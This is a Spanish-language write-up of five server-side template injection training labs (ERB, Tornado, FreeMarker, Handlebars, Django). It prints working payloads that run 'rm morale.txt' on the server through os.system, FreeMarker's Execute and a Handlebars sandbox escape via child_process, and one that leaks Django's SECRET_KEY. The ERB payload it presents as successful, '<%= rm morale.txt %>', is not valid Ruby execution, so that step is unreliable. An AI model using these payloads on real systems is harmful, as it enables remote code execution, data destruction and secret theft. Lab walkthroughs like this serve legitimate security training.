# Server-side template injection

## Lab: Basic server-side template injection

### Enunciado

Este laboratorio es vulnerable a **inyección de plantillas del lado del servidor (SSTI)** debido a la construcción insegura de una plantilla ERB.

Para resolver el laboratorio, revisa la documentación de ERB para averiguar cómo ejecutar código arbitrario y luego elimina el archivo **morale.txt** del directorio personal de Carlos.

### Resolución

Primero identificamos que la aplicación usa ERB (plantillas de Ruby) al reflejar en la URL el contenido del parámetro `message`. Probamos si es vulnerable enviando `{{7*7}}`, que no se evalúa, y luego `<%= 7*7 %>`, que sí devuelve 49, confirmando ejecución de Ruby embebido.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FGGjpShDcxZmFXJLFKANN%2Fimage.png?alt=media&#x26;token=9ed95dc1-aac9-4d9a-b097-f22800b5f6b9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6Zok6BOb6K7R1vHgTJDn%2Fimage.png?alt=media&#x26;token=420a7519-5f39-4c90-be1d-b696f3a70205" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEWM7S4IJ83x98TfSokfj%2Fimage.png?alt=media&#x26;token=a95af023-b9ab-4377-a066-ec18454194f1" alt=""><figcaption></figcaption></figure>

Con eso ya sabemos que la plantilla ejecuta código Ruby, así que para resolver el laboratorio inyectamos directamente un comando del sistema. Usamos la sintaxis `<%= rm morale.txt %>` para ejecutar el borrado del archivo que pide el enunciado.

El servidor procesa la plantilla y al evaluar ese payload elimina el archivo `morale.txt` de la carpeta de Carlos.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FxHoG6cRpTRe9MkG1Nx9j%2Fimage.png?alt=media&#x26;token=04d2ab0f-cbe0-47e7-acb3-4e0d97c9e166" alt=""><figcaption></figcaption></figure>

## Lab: Basic server-side template injection (code context)

### Enunciado

Este laboratorio es vulnerable a inyección de plantillas del lado del servidor debido a la forma insegura en que usa una plantilla de Tornado.

Para resolver el laboratorio, revisa la documentación de Tornado para descubrir cómo ejecutar código arbitrario, y luego elimina el archivo morale.txt del directorio home de Carlos.

Puedes iniciar sesión en tu propia cuenta usando las siguientes credenciales: wiener:peter.

### Resolución

Para resolver el laboratorio primero identificamos que el motor de plantillas es Tornado ya que al enviar una inyección con sintaxis de otro motor nos devuelve un error específico indicando que está usando Tornado.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FGPI9a2XSRGCRlV5U5joJ%2Fimage.png?alt=media&#x26;token=7512c2f7-1942-4787-ad27-48e714943854" alt=""><figcaption></figcaption></figure>

Con esto ajustamos el payload a la sintaxis de Tornado usando código en bloque con `{% %}` e inyectamos `{% import os %}{{ os.system('rm morale.txt') }}` en el campo vulnerable de _blog-post-author-display_. La petición se envía correctamente y en la respuesta vemos redirección y confirmación de éxito. Finalmente el laboratorio muestra que se resolvió al haber eliminado el archivo `morale.txt` en el sistema del usuario Carlos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FisHlUni4CuRSeEOrnen9%2Fimage.png?alt=media&#x26;token=1fdede6e-7bb0-4857-9548-09552c3f1a26" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvA0jtWgHgnnhj93WoCuo%2Fimage.png?alt=media&#x26;token=e3ef1096-f824-4b0a-a568-2b8f4172a503" alt=""><figcaption></figcaption></figure>

## Lab: Server-side template injection using documentation

### Enunciado

Este laboratorio es vulnerable a inyección de plantillas del lado del servidor. Para resolver el laboratorio, identifica el motor de plantillas y usa la documentación para averiguar cómo ejecutar código arbitrario, luego elimina el archivo morale.txt del directorio personal de Carlos.

Puedes iniciar sesión en tu propia cuenta usando las siguientes credenciales:

`content-manager:C0nt3ntM4n4g3r`

### Resolución

Encontramos que la aplicación usaba FreeMarker como motor de plantillas, lo que descubrimos provocando un error al inyectar variables mal formateadas en la plantilla editable del panel de Content Manager.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMTobWfXga96MisgaVGR2%2Fimage.png?alt=media&#x26;token=ce7472b8-45d4-4cb7-8e7f-ffa9fc1c21f7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F9z0y5gZUP7XAhUYVEO0b%2Fimage.png?alt=media&#x26;token=50b6a0a9-83b9-4296-80ed-c954f2b21d10" alt=""><figcaption></figcaption></figure>

Tras confirmar que era FreeMarker por el trace del error, buscamos en su documentación cómo ejecutar código. Finalmente, editamos la plantilla para incluir el payload con `freemarker.template.utility.Execute` para llamar a `rm morale.txt` y así borrar el archivo objetivo del directorio de Carlos, resolviendo el laboratorio exitosamente.

```
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("rm morale.txt")}
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FUwwbWDXakksmo332dOXL%2Fimage.png?alt=media&#x26;token=9d4d3900-57d9-40ae-97bd-ff58bbcb5186" alt=""><figcaption></figcaption></figure>

## Lab: Server-side template injection in an unknown language with a documented exploit

### Enunciado

Este laboratorio es vulnerable a inyección de plantillas del lado del servidor. Para resolver el laboratorio, identifica el motor de plantillas y encuentra un exploit documentado en línea que puedas usar para ejecutar código arbitrario, luego elimina el archivo morale.txt del directorio personal de Carlos.

### Resolución

Identificamos el motor de plantillas en uso como **Handlebars.js**, gracias al error detallado en la respuesta del servidor (que menciona explícitamente “handlebars/compiler/parser.js”).

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fa6QfnAvR7o1YEPWuL5EU%2Fimage.png?alt=media&#x26;token=83a9bf3b-20a0-4ba4-aa5a-594a6f0970ef" alt=""><figcaption></figcaption></figure>

Sabemos por la documentación y exploits públicos que Handlebars permite romper el sandbox usando helpers avanzados. Para ejecutar comandos, se abusa del acceso a `constructor` y se construye una cadena que llame a `require('child_process').execSync()`.

El payload final fue un template Handlebars ofuscado pero funcional, que logró invocar `rm morale.txt`, borrando el archivo en el servidor.

```
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('rm morale.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F47plCAnr3SRxNgeTx8oA%2Fimage.png?alt=media&#x26;token=35b6ebb9-e39f-4b1d-8b4d-67a2772ba62f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FRDZ6ooerW0xwJvoVWVEM%2Fimage.png?alt=media&#x26;token=ee25d1a7-80af-4d29-b926-53229fa8d345" alt=""><figcaption></figcaption></figure>

## Lab: Server-side template injection with information disclosure via user-supplied objects

### Enunciado

Este laboratorio es vulnerable a inyección de plantillas del lado del servidor debido a la forma en que se pasa un objeto a la plantilla. Esta vulnerabilidad puede explotarse para acceder a datos sensibles.

Para resolver el laboratorio, roba y envía la clave secreta del framework.

Puedes iniciar sesión en tu propia cuenta usando las siguientes credenciales:

`content-manager:C0nt3ntM4n4g3r`

### Resolución

Identificamos que la aplicación usa el motor de plantillas Django, ya que en el error del servidor aparece la ruta `/usr/local/lib/python2.7/dist-packages/django/template/base.py`. Sabemos que en Django las variables de configuración, como la clave secreta del framework, suelen estar expuestas en el objeto `settings`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F59mEsYCr423q4CF3BVCa%2Fimage.png?alt=media&#x26;token=7209fe0f-5052-40ab-9e16-45273515197d" alt=""><figcaption></figcaption></figure>

Para exfiltrar la clave secreta, editamos la plantilla para renderizar el valor de `settings.SECRET_KEY` así:

```
{{settings.SECRET_KEY}}
```

Al guardar la plantilla con este payload, la aplicación mostró la clave secreta en la descripción del producto. Finalmente, copiamos el valor y lo enviamos para completar el laboratorio.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJYu7SKvzbeQiFbrkbRTB%2Fimage.png?alt=media&#x26;token=1ae289c8-8a73-4402-9aa1-5a108516015b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FNjRAygKxAv7BY4e3CT5B%2Fimage.png?alt=media&#x26;token=6790bc25-b024-4666-b62e-f28adc5a25c2" alt=""><figcaption></figcaption></figure>
